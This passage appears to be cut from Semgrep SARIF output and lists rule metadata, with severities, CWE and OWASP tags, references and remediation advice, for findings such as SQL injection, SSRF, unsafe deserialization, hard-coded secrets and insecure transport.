protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","id":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","name":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens)\n - [https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376](https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376)\n - [https://hackmd.io/@sentimentxyz/SJCySo1z2](https://hackmd.io/@sentimentxyz/SJCySo1z2)\n","text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","id":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","name":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects potential Google Maps API keys in code"},"help":{"markdown":"Detects potential Google Maps API keys in code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak)\n - [https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e](https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e)\n","text":"Detects potential Google Maps API keys in code"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","id":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","name":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","properties":{"precision":"very-high","tags":["CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory","MEDIUM CONFIDENCE","OWASP-A3:2017 Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","id":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","name":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"help":{"markdown":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n","text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","id":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","name":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"help":{"markdown":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag)\n - [https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug](https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug)\n - [https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page](https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page)\n","text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag","id":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","name":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.templates.debug-template-tag.debug-template-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","id":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","name":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","id":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","name":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","id":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","name":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","id":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","name":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"help":{"markdown":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process","id":"javascript.aws-lambda.security.detect-child-process.detect-child-process","name":"javascript.aws-lambda.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","id":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","name":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request](https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","id":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","name":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask","id":"python.flask.db.peewee-flask.peewee-flask","name":"python.flask.db.peewee-flask.peewee-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.peewee-flask.peewee-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"help":{"markdown":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","name":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a 